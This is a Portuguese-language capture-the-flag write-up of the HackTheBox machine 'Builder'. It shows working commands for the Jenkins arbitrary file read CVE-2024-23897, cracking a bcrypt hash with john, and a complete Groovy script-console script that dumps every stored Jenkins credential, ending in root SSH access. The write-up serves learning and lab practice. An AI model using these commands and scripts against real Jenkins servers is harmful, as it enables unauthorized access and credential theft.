Hackthebox
Neste writeup iremos explorar uma máquina linux de nível medium chamada Builder que aborda as seguintes vulnerabilidades e técnicas de exploração
CVE-2024-23897 (Jenkins Arbitrary File Read)
Sensitive Data Exposure
Related Articles
Recon e user flag
Iremos iniciar realizando uma varredura utilizando o nmap para visualizar as portas abertas em nosso alvo:
└─# nmap -sV –open -Pn 10.129.220.88
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-13 12:15 EST
Nmap scan report for 10.129.220.88
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Jetty 10.0.18
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Podemos ver que existem duas portas abertas em nosso alvo, a porta 22 do ssh e a porta 8080 que roda um Jetty na versão 10.0.18. O Jetty é um servidor web feito em java.
Ao acessar a porta 8080 pelo navegador temos a seguinte página:
Se trata de um Jenkins na versão 2.441. O jenkins é uma aplicação feita em java com foco em automação no desenvolvimento de software, realiza ações como build, test e deploy de aplicações.
Podemos notar que é preciso permissões e um usuário para conseguimos acesso a algumas funcionalidades do jenkins, como visualizar histórico de builds, lista os nodes (que possui somente 1 node built in que é nosso alvo).
Também podemos listar os usuários, que no caso temos somente o usuário jennifer:
Também conseguimos listar as credenciais:
Conseguimos visualizar este conteúdo pelo acesso anônimo estar habilitado.
Outro ponto importante é que notamos que a REST API do jenkins esta habilitada também:
Todos estes pontos combinam com uma vulnerabilidade recente do Jenkins, a CVE-2024-23897 que se trata de um Arbitrary File Read na versão 2.441 e anteriores.
Esta vulnerabilidade ocorre devido a uma má sanitização de um input via CLI, que é utilizado através da REST API do jenkins. Ocorre em uma lib chamada args4j é utilizada para parsear argumentos via CLI. Existe uma feature que substitui o caracter @ seguido pelo path de um arquivo por um argumento com o conteúdo desse arquivo, o que nos permite ler arquivos no servidor.
No jenkins em nosso alvo conseguimos baixar o .jar que permitirá a comunicação com o jenkins.
Vamos realizar o download da seguinte forma:
└─# wget http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
–2024-02-13 12:20:57– http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
Connecting to 10.129.220.88:8080… connected.
HTTP request sent, awaiting response… 200 OK
Length: 3623400 (3.5M) [application/java-archive]
Saving to: ‘jenkins-cli.jar’
jenkins-cli.jar 100%[=================================================================================>] 3.46M 547KB/s in 8.6s
2024-02-13 12:21:06 (413 KB/s) – ‘jenkins-cli.jar’ saved [3623400/3623400]
Para explorar a vulnerabilidade executamos o seguinte comando:
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node “@/etc/passwd” | cut -d ‘No’ -f1
cut: the delimiter must be a single character
Try ‘cut –help’ for more information.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent “www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin” exists.
root:x:0:0:root:/root:/bin/bash: No such agent “root:x:0:0:root:/root:/bin/bash” exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent “mail:x:8:8:mail:/var/mail:/usr/sbin/nologin” exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent “backup:x:34:34:backup:/var/backups:/usr/sbin/nologin” exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent “_apt:x:42:65534::/nonexistent:/usr/sbin/nologin” exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent “nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin” exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent “lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin” exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent “uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin” exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent “bin:x:2:2:bin:/bin:/usr/sbin/nologin” exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent “news:x:9:9:news:/var/spool/news:/usr/sbin/nologin” exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent “proxy:x:13:13:proxy:/bin:/usr/sbin/nologin” exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent “irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin” exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent “list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin” exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent “jenkins:x:1000:1000::/var/jenkins_home:/bin/bash” exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent “games:x:5:60:games:/usr/games:/usr/sbin/nologin” exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent “man:x:6:12:man:/var/cache/man:/usr/sbin/nologin” exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent “daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin” exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent “sys:x:3:3:sys:/dev:/usr/sbin/nologin” exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent “sync:x:4:65534:sync:/bin:/bin/sync” exists.
ERROR: Error occurred while performing this command, see previous stderr output.
Conseguimos o retorno do /etc/passwd, podemos colocar o resultado em um arquivo para filtrar a saída:
└─# awk -F ‘No such agent’ ‘{print $1}’ passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin:
root:x:0:0:root:/root:/bin/bash:
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin:
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin:
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin:
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin:
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin:
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin:
bin:x:2:2:bin:/bin:/usr/sbin/nologin:
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin:
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin:
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin:
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin:
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash:
games:x:5:60:games:/usr/games:/usr/sbin/nologin:
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin:
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin:
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
Podemos notar que existem dois usuários, root e jenkins. A home do root é /root e a home do usuário jenkins é /var/jenkins_home.
Com isso conseguimos buscar a user flag:
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node “@/var/jenkins_home/user.txt”
ERROR: No such agent “aea470ff3badab8504db49aa7e1d9e34” exists.
Escalação de privilégios e root flag
Agora que temos como ler arquivos podemos buscar por arquivos importantes que podem nos dar credenciais ou informações sensíveis.
Utilizando a documentação do jenkins conseguimos encontrar arquivos importantes, um deles é o /var/jenkins_home/users/users.xml que possui informações de usuários do jenkins:
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node “@/var/jenkins_home/users/users.xml”
version=‘1.1’ encoding=‘UTF-8’?>: No such agent “” exists.
: No such agent “” exists.
: No such agent ” ” exists.
ERROR: Error occurred while performing this command, see previous stderr output.
Iremos adicionar o resultado em um arquivo para uma melhor leitura:
└─# awk -F ‘No such agent’ ‘{print $1}’ users.xml
version=‘1.1’ encoding=‘UTF-8’?>:
:
:
Essa informação é importante porque aqui descobrimos o diretório com as informações do usuário jennifer, que o jenkins cria com um número randomico: jennifer_12108429903186576833
Descobrimos assim a conteúdo do arquivo que contém as informações do usuário:
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
…
…
Conseguimos visualizar melhor filtrando em um arquivo:
└─# awk -F ‘No such agent’ ‘{print $1}’ jennifer-config.xml
:
:
:
:
:
:
:
:
:
:
:
:
:
version=‘1.1’ encoding=‘UTF-8’?>:
id>jennifer:
E assim conseguimos o email [email protected] e a hash da senha do usuário $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a
Vamos utilizar o john the ripper para quebrar essa hash:
└─# john -w=/usr/share/wordlists/rockyou.txt jennifer-hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status
princess (?)
1g 0:00:00:00 DONE (2024-02-14 17:12) 3.030g/s 109.0p/s 109.0c/s 109.0C/s 123456..liverpool
Use the “–show” option to display all of the cracked passwords reliably
Session completed.
Conseguimos a senha do usuário jennifer, agora podemos logar na interface do jenkins:
O jenkins permite que seja executado scripts groovy através da sua interface pelo script console:
Aqui podemos executar comandos no node do jenkins, que em nosso caso é nosso alvo. Podemos inclusive pegar um shell com o seguinte script:
Dessa forma vamos conseguir acesso somente como o usuário jenkins.
No entanto, conforme enumeramos inicialmente existe uma credencial de sistema com o nome root. Através do groovy podemos listar todas as credenciais do jenkins com o seguinte script:
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import org.jenkinsci.plugins.plaincredentials.StringCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl
def showRow = { credentialType, secretId, username = null, password = null, description = null ->
println(“${credentialType} : “.padLeft(20) + secretId?.padRight(38)+” | “ +username?.padRight(20)+” | “ +password?.padRight(40) + ” | “ +description)
}
// set Credentials domain name (null means is it global)
domainName = null
credentialsStore = Jenkins.instance.getExtensionList(‘com.cloudbees.plugins.credentials.SystemCredentialsProvider’)[0]?.getStore()
domain = new Domain(domainName, null, Collections.
credentialsStore?.getCredentials(domain).each{
if(it instanceof UsernamePasswordCredentialsImpl)
showRow(“user/password”, it.id, it.username, it.password?.getPlainText(), it.description)
else if(it instanceof BasicSSHUserPrivateKey)
showRow(“ssh priv key”, it.id, it.passphrase?.getPlainText(), it.privateKeySource?.getPrivateKey()?.getPlainText(), it.description)
else if(it instanceof StringCredentials)
showRow(“secret text”, it.id, it.secret?.getPlainText(), ”, it.description)
else if(it instanceof FileCredentialsImpl)
showRow(“secret file”, it.id, it.content?.text, ”, it.description)
else
showRow(“something else”, it.id, ”, ”, ”)
}
return
E assim temos uma chave privada:
Vamos salvar o conteúdo em um arquivo chamado id_rsa_root e alterar sua permissão para 600, pois chaves privadas precisam ter uma permissão mais restritiva para que serem utilizadas:
└─# chmod 600 id_rsa_root
Testando a chave privada como usuário root em nosso alvo conseguimos o acesso:
└─# ssh -i id_rsa_root [email protected]
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed Feb 14 10:50:05 PM UTC 2024
System load: 0.2177734375
Usage of /: 66.0% of 5.81GB
Memory usage: 33%
Swap usage: 0%
Processes: 247
Users logged in: 0
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.129.244.76
IPv6 address for eth0: dead:beef::250:56ff:fe96:9588
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40
E assim conseguimos a root flag:
total 32K
drwx—— 5 root root 4.0K Feb 14 22:47 .
drwxr-xr-x 18 root root 4.0K Feb 9 15:45 ..
lrwxrwxrwx 1 root root 9 Apr 27 2023 .bash_history -> /dev/null
-rw-r–r– 1 root root 3.1K Oct 15 2021 .bashrc
drwx—— 2 root root 4.0K Apr 27 2023 .cache
drwxr-xr-x 3 root root 4.0K Apr 27 2023 .local
-rw-r–r– 1 root root 161 Jul 9 2019 .profile
-rw-r—– 1 root root 33 Feb 14 22:47 root.txt
drwx—— 2 root root 4.0K Feb 8 11:24 .ssh
root@builder:~# cat root.txt
229275386e7300b9ad9425a630fa815c
Finalizando a máquina Builder !
The post HackTheBox – Writeup Builder [Retired] appeared on Rmag.